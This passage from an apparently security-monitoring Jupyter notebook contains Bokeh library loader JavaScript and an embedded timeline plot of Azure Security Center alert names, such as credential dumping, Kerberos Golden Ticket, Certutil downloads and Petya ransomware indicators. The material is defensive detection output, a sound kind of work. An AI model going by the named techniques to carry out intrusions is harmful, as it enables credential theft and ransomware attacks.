console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.getElementsByTagName(\"head\")[0].appendChild(s);\n", " }\n", " };var element = document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\");\n", " if (element == null) {\n", " console.log(\"Bokeh: ERROR: autoload.js configured with elementid '4eaae604-a3ed-4642-8edd-0de928aa1913' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " \n", " function(Bokeh) {\n", " \n", " },\n", " function(Bokeh) {\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n", " console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if ((root.Bokeh !== undefined) || (force === true)) {\n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(js_urls, function() {\n", " console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof (root._bokeh_onload_callbacks) === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
  • \\n\"+\n \"
  • use INLINE resources instead, as so:
  • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) { callback() });\n }\n finally {\n delete root._bokeh_onload_callbacks\n }\n console.info(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(js_urls, callback) {\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.log(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.log(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = js_urls.length;\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var s = document.createElement('script');\n s.src = url;\n s.async = false;\n s.onreadystatechange = s.onload = function() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: all BokehJS libraries loaded\");\n run_callbacks()\n }\n };\n s.onerror = function() {\n console.warn(\"failed to load library \" + url);\n };\n console.log(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.getElementsByTagName(\"head\")[0].appendChild(s);\n }\n };var element = document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\");\n if (element == null) {\n console.log(\"Bokeh: ERROR: autoload.js configured with elementid '4eaae604-a3ed-4642-8edd-0de928aa1913' but no matching script tag was found. \")\n return false;\n }\n\n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-0.12.16.min.js\"];\n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n \n function(Bokeh) {\n \n },\n function(Bokeh) {\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-widgets-0.12.16.min.css\");\n console.log(\"Bokeh: injecting CSS: https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n Bokeh.embed.inject_css(\"https://cdn.pydata.org/bokeh/release/bokeh-tables-0.12.16.min.css\");\n }\n ];\n\n function run_inline_js() {\n \n if ((root.Bokeh !== undefined) || (force === true)) {\n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"4eaae604-a3ed-4642-8edd-0de928aa1913\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.log(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(js_urls, function() {\n console.log(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "
\n", "
\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "(function(root) {\n", " function embed_document(root) {\n", " \n", " var docs_json = {\"8fe7e077-598a-4dbc-864e-524d28edc21a\":{\"roots\":{\"references\":[{\"attributes\":{\"days\":[1,15]},\"id\":\"125ed89f-97bb-49c7-bab8-a326320284c8\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"9f9bdbf5-8ff1-44f7-87cf-5361db9ed7d3\",\"type\":\"ColumnDataSource\"}},\"id\":\"8d3b3e37-20f0-4b4e-a243-3244b3efeda5\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"7657c5cc-6fa8-4468-8e24-99d274c408b1\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"cfd2d2cf-a592-4189-a033-fa9220aa3649\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"957b51da-6187-42e3-aa74-2daef9b92d1c\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"45cfaf88-39da-4b3f-a78b-3b41355cf73e\",\"type\":\"LinearScale\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"f3b05e11-5493-4664-bd87-cd243ef38a10\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"7abf20a1-e201-448b-924f-dd813c4400e5\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"94185b73-6620-4cce-987f-5d3404722ae9\",\"type\":\"DataRange1d\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"ffdd2f49-02e2-4a23-8b9e-2d1a98958c77\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"395545a6-282e-404b-888b-e92ae5f2d47d\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"f0b60fc7-ec1d-415d-a57e-2d741a2b1250\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"fd4cf403-48ad-4b3f-ad97-ae3df19c45bf\",\"type\":\"YearsTicker\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"0b7d5732-9331-4fd3-8cd9-3b76bc52bd89\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2572dc1c-582d-44f4-a089-5a99199b8088\",\"type\":\"Selection\"},{\"attributes\":{\"callback\":null},\"id\":\"ab3402b4-bf11-4c43-b158-8f6faf5223ac\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"d434ea5f-407f-46e5-8fa2-a3fb782cc849\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"d597653d-5e4e-44ec-9dde-f362bdaad311\",\"type\":\"HoverTool\"},{\"id\":\"f182698b-4547-4243-b1d6-209e3708dfad\",\"type\":\"PanTool\"},{\"id\":\"f8ea15db-0cfe-4156-ad71-4e8e414d6f09\",\"type\":\"WheelZoomTool\"},{\"id\":\"b432a2e3-3764-485e-aa1d-854c3bec7b5c\",\"type\":\"BoxZoomTool\"},{\"id\":\"8661448c-4d8b-4cca-85ac-34c7815d39d0\",\"type\":\"ResetTool\"}]},\"id\":\"6ea630c8-fd6a-4e19-a06d-15f41b062971\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"1c2acec9-fab6-4f0f-9af1-9262b35d4d49\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"8ffb00ee-1209-4a4b-97d2-45037b1c2ff2\",\"type\":\"DaysTicker\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alerts\"},\"id\":\"8b944db9-63e4-4647-bd71-48cd5fa7e27c\",\"type\":\"Title\"},{\"attributes\":{\"callback\":null,\"data\":{\"AlertName\":[\"Suspicious Account Creation Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious process executed\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Executable found running from a suspicious location\",\"Detected obfuscated command line.\",\"Executable found running from a suspicious location\",\"Suspicious system process executed\",\"Suspicious SVCHOST process executed\",\"Suspicious Powershell Activity Detected\",\"Digital currency mining related behavior detected\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious Volume Shadow Copy Activity\",\"Suspicious double extension file executed\",\"Suspicious process executed\",\"Rare SVCHOST service group executed\",\"Ransomware indicators detected\",\"Detected Petya ransomware indicators\",\"Suspiciously named process detected\",\"Suspicious Powershell Activity Detected\",\"Azure Security Center test alert (not a threat)\",\"Suspicious WindowPosition registry value detected\",\"Suspicious download using Certutil detected\",\"Detected suspicious named pipe communications\",\"Executable found running from a suspicious location\",\"Random process name detected\",\"Suspicious process executed\",\"Suspected Kerberos Golden Ticket attack parameters observed\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Detected suspicious new firewall rule\",\"Detected change to a registry key that can be abused to bypass UAC\",\"Suspicious process executed\",\"Suspicious WindowPosition registry value detected\",\"Detected suspicious execution via rundll32.exe\",\"Suspicious system process executed\",\"Detected suspicious execution via rundll32.exe\",\"Detected possible local reconnaissance activity\",\"Detected suspicious use of FTP -s Switch\",\"Suspicious Volume Shadow Copy Activity\",\"Detected suspicious Set-ExecutionPolicy and WinRM changes\",\"Suspicious double extension file executed\",\"Executable found running from a suspicious location\",\"Detected suspicious file creation\",\"Detected Petya ransomware indicators\",\"Detected suspicious commandline used to start all executables in a directory\",\"Detected suspicious file cleanup commands\",\"Suspicious SVCHOST process executed\",\"Azure Security Center test alert (not a threat)\",\"Detected suspicious use of Cacls to lower the security state of the system.\",\"Detected the disabling of critical services\",\"Detected suspicious use of Pcalua.exe to launch executable code\",\"Detected possible execution of keygen executable\",\"Detected suspicious execution of VBScript.Encode command\",\"Possible credential dumping detected\",\"Ransomware indicators detected\",\"Detected actions indicative of disabling and deleting IIS log files.\",\"Detected possible execution of malware dropper\",\"Rare SVCHOST service group executed\",\"Sticky keys attack detected\",\"Detected potentially suspicious use of Telegram tool\",\"High risk software detected\",\"Suspicious Account Creation Detected\",\"Suspiciously named process detected\",\"Digital currency mining related behavior detected\",\"Suspicious Volume Shadow Copy Activity\",\"Potential attempt to bypass AppLocker detected\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Suspicious Powershell Activity Detected\",\"Random process name detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious system process executed\",\"Suspicious process executed\",\"Suspicious double extension file executed\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious process executed\",\"Suspicious WindowPosition registry value detected\",\"Executable found running from a suspicious location\",\"Executable found running from a suspicious location\",\"Rare SVCHOST service group executed\",\"Ransomware indicators detected\",\"Suspicious SVCHOST process executed\",\"Azure Security Center test alert (not a threat)\",\"Detected Petya ransomware indicators\",\"Detected obfuscated command line.\",\"Suspiciously named process detected\",\"Suspicious process executed\",\"Executable found running from a suspicious location\",\"Suspicious WindowPosition registry value detected\",\"Suspicious system process executed\",\"Suspicious double extension file executed\",\"Ransomware indicators detected\",\"Detected Petya ransomware indicators\",\"Rare SVCHOST service group executed\",\"Suspicious Volume Shadow Copy Activity\",\"Azure Security Center test alert (not a threat)\",\"Suspicious SVCHOST process executed\",\"Suspicious process executed\",\"Suspicious SVCHOST process executed\",\"Suspicious Volume Shadow Copy Activity\",\"Suspicious Account Creation Detected\",\"Potential attempt to bypass AppLocker detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Suspicious Powershell Activity Detected\",\"Digital currency mining related behavior detected\",\"Suspicious Powershell Activity Detected\",\"Suspiciously named process detected\",\"Suspicious system process executed\",\"Suspicious WindowPosition registry value detected\",\"Executable found running from a suspicious location\",\"Executable found running from a suspicious location\",\"Detected anomalous mix of upper and lower case characters in command-line\",\"Suspicious process executed\",\"Rare SVCHOST service group executed\",\"Azure Security Center test alert (not a threat)\",\"Detected Petya ransomware indicators\",\"Suspicious double extension file executed\",\"Ransomware indicators detected\",\"Suspicious process executed\",\"Detected obfuscated command line.\",\"Anomalous account creation detected\"],\"TimeGenerated\":{\"__ndarray__\":\"AAAWsAyFdkIAAIeyDIV2QgAAh7IMhXZCAACHsgyFdkIAAIeyDIV2QgAAh7IMhXZCAACHsgyFdkIAAIeyDIV2QgAAh7IMhXZCAAAEswyFdkIAAIeyDIV2QgAAh7IMhXZCAACHsgyFdkIAAASzDIV2QgAABLMMhXZCAACHsgyFdkIAAASzDIV2QgAABLMMhXZCAAAEswyFdkIAAASzDIV2QgAAh7IMhXZCAAAEswyFdkIAAIeyDIV2QgCA7//+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAAGT3/oR2QgAAZPf+hHZCAABk9/6EdkIAgJz4/oR2QgCAnPj+hHZCAABk9/6EdkIAgJz4/oR2QgCAnPj+hHZCAICc+P6EdkIAgJz4/oR2QgCAnPj+hHZCAICc+P6EdkIAgJz4/oR2QgCAnPj+hHZCAICc+P6EdkIAgJz4/oR2QgAAZPf+hHZCAICc+P6EdkIAgJz4/oR2QgAAZPf+hHZCAABk9/6EdkIAgJz4/oR2QgCAIUQVhXZCAIAhRBWFdkIAgCFEFYV2QgAA3UQVhXZCAIAhRBWFdkIAAN1EFYV2QgAA3UQVhXZCAADdRBWFdkIAAN1EFYV2QgAA3UQVhXZCAADdRBWFdkIAAN1EFYV2QgAA3UQVhXZCAADdRBWFdkIAAN1EFYV2QgAA3UQVhXZCAADdRBWFdkIAAN1EFYV2QgCAkkYVhXZCAICSRhWFdkIAgJJGFYV2QgCAkkYVhXZCAICSRhWFdkIAAN1EFYV2QgCA7mwahXZCAACqbRqFdkIAAKptGoV2QgAAqm0ahXZCAACqbRqFdkIAgOJuGoV2QgCA4m4ahXZCAIDibhqFdkIAgOJuGoV2QgCA4m4ahXZCAIDibhqFdkIAgOJuGoV2QgCA4m4ahXZCAID/KiiFdkIAgP8qKIV2QgCAFycohXZCAIALKSiFdkIAgAspKIV2QgCACykohXZCAIALKSiFdkIAgAspKIV2QgCACykohXZCAICIKSiFdkIAgAUqKIV2QgCABSoohXZCAIAFKiiFdkIAgAUqKIV2QgCABSoohXZCAIAFKiiFdkIAgP8qKIV2QgCA/yoohXZCAID/KiiFdkIAgP8qKIV2QgCA/yoohXZCAIAFKiiFdkIAgAspKIV2QgCADB87hXZC\",\"dtype\":\"float64\",\"shape\":[123]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2572dc1c-582d-44f4-a089-5a99199b8088\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"d434ea5f-407f-46e5-8fa2-a3fb782cc849\",\"type\":\"UnionRenderers\"}},\"id\":\"9f9bdbf5-8ff1-44f7-87cf-5361db9ed7d3\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"c8883c15-e8fb-48fc-940f-9a3af14723c7\",\"type\":\"LinearScale\"},{\"attributes\":{\"plot\":{\"id\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"b5eb61ba-080e-4c5c-a885-8311972569e2\",\"type\":\"DatetimeTicker\"}},\"id\":\"7bd0bd0c-7bc5-439e-8861-d8e3492c7c70\",\"type\":\"Grid\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1dc2409e-7932-417a-9f2a-71648f16ccf9\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"b5eb61ba-080e-4c5c-a885-8311972569e2\",\"type\":\"DatetimeTicker\"}},\"id\":\"5f49ce5f-f5a4-407d-b79c-bedf48e1895d\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"0b7d5732-9331-4fd3-8cd9-3b76bc52bd89\",\"type\":\"AdaptiveTicker\"},{\"id\":\"cfd2d2cf-a592-4189-a033-fa9220aa3649\",\"type\":\"AdaptiveTicker\"},{\"id\":\"395545a6-282e-404b-888b-e92ae5f2d47d\",\"type\":\"AdaptiveTicker\"},{\"id\":\"8ffb00ee-1209-4a4b-97d2-45037b1c2ff2\",\"type\":\"DaysTicker\"},{\"id\":\"957b51da-6187-42e3-aa74-2daef9b92d1c\",\"type\":\"DaysTicker\"},{\"id\":\"7657c5cc-6fa8-4468-8e24-99d274c408b1\",\"type\":\"DaysTicker\"},{\"id\":\"125ed89f-97bb-49c7-bab8-a326320284c8\",\"type\":\"DaysTicker\"},{\"id\":\"f3b05e11-5493-4664-bd87-cd243ef38a10\",\"type\":\"MonthsTicker\"},{\"id\":\"7abf20a1-e201-448b-924f-dd813c4400e5\",\"type\":\"MonthsTicker\"},{\"id\":\"ffdd2f49-02e2-4a23-8b9e-2d1a98958c77\",\"type\":\"MonthsTicker\"},{\"id\":\"f0b60fc7-ec1d-415d-a57e-2d741a2b1250\",\"type\":\"MonthsTicker\"},{\"id\":\"fd4cf403-48ad-4b3f-ad97-ae3df19c45bf\",\"type\":\"YearsTicker\"}]},\"id\":\"b5eb61ba-080e-4c5c-a885-8311972569e2\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"1c2acec9-fab6-4f0f-9af1-9262b35d4d49\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"6ed81ce8-1c37-4834-835f-8709b0917a0d\",\"type\":\"BasicTicker\"},\"visible\":false},\"id\":\"448f3b2a-d6b9-4811-8780-128d4f54e186\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"6ed81ce8-1c37-4834-835f-8709b0917a0d\",\"type\":\"BasicTicker\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"6ed81ce8-1c37-4834-835f-8709b0917a0d\",\"type\":\"BasicTicker\"}},\"id\":\"904b258d-3e3c-4910-be6f-497478b7aa5b\",\"type\":\"Grid\"},{\"attributes\":{\"data_source\":{\"id\":\"9f9bdbf5-8ff1-44f7-87cf-5361db9ed7d3\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"b00f1db2-a333-445a-9bba-0fe4d3c25c86\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"e0edd565-33a1-4a0f-b050-3070b1970530\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"8d3b3e37-20f0-4b4e-a243-3244b3efeda5\",\"type\":\"CDSView\"}},\"id\":\"e1e04f1e-cf6c-4b1a-9cee-223eff8c8463\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"aa94dfb1-c9c2-4c9c-aef8-57f23e139bac\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"f182698b-4547-4243-b1d6-209e3708dfad\",\"type\":\"PanTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"b00f1db2-a333-445a-9bba-0fe4d3c25c86\",\"type\":\"Circle\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"f8ea15db-0cfe-4156-ad71-4e8e414d6f09\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"overlay\":{\"id\":\"aa94dfb1-c9c2-4c9c-aef8-57f23e139bac\",\"type\":\"BoxAnnotation\"}},\"id\":\"b432a2e3-3764-485e-aa1d-854c3bec7b5c\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"AlertName\",\"@AlertName\"]]},\"id\":\"d597653d-5e4e-44ec-9dde-f362bdaad311\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"8661448c-4d8b-4cca-85ac-34c7815d39d0\",\"type\":\"ResetTool\"},{\"attributes\":{\"below\":[{\"id\":\"5f49ce5f-f5a4-407d-b79c-bedf48e1895d\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"448f3b2a-d6b9-4811-8780-128d4f54e186\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":100,\"plot_width\":900,\"renderers\":[{\"id\":\"5f49ce5f-f5a4-407d-b79c-bedf48e1895d\",\"type\":\"DatetimeAxis\"},{\"id\":\"7bd0bd0c-7bc5-439e-8861-d8e3492c7c70\",\"type\":\"Grid\"},{\"id\":\"448f3b2a-d6b9-4811-8780-128d4f54e186\",\"type\":\"LinearAxis\"},{\"id\":\"904b258d-3e3c-4910-be6f-497478b7aa5b\",\"type\":\"Grid\"},{\"id\":\"aa94dfb1-c9c2-4c9c-aef8-57f23e139bac\",\"type\":\"BoxAnnotation\"},{\"id\":\"e1e04f1e-cf6c-4b1a-9cee-223eff8c8463\",\"type\":\"GlyphRenderer\"}],\"title\":{\"id\":\"8b944db9-63e4-4647-bd71-48cd5fa7e27c\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"6ea630c8-fd6a-4e19-a06d-15f41b062971\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"94185b73-6620-4cce-987f-5d3404722ae9\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"45cfaf88-39da-4b3f-a78b-3b41355cf73e\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"ab3402b4-bf11-4c43-b158-8f6faf5223ac\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"c8883c15-e8fb-48fc-940f-9a3af14723c7\",\"type\":\"LinearScale\"}},\"id\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"e0edd565-33a1-4a0f-b050-3070b1970530\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1dc2409e-7932-417a-9f2a-71648f16ccf9\",\"type\":\"DatetimeTickFormatter\"}],\"root_ids\":[\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\"]},\"title\":\"Bokeh Application\",\"version\":\"0.12.16\"}};\n", " var render_items = [{\"docid\":\"8fe7e077-598a-4dbc-864e-524d28edc21a\",\"elementid\":\"b89bcd84-c3c3-457d-99c2-843c58700c5b\",\"modelid\":\"0fcc93d7-73f1-463c-9e2c-8ff2dbee138f\"}];\n", " root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n", "\n", " }\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " } else {\n", " var attempts = 0;\n", " var timer = setInterval(function(root) {\n", " if (root.Bokeh !== undefined) {\n", " embed_document(root);\n", " clearInterval(timer);\n", " }\n", " attempts++;\n", " if (attempts > 100) {\n", " console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library 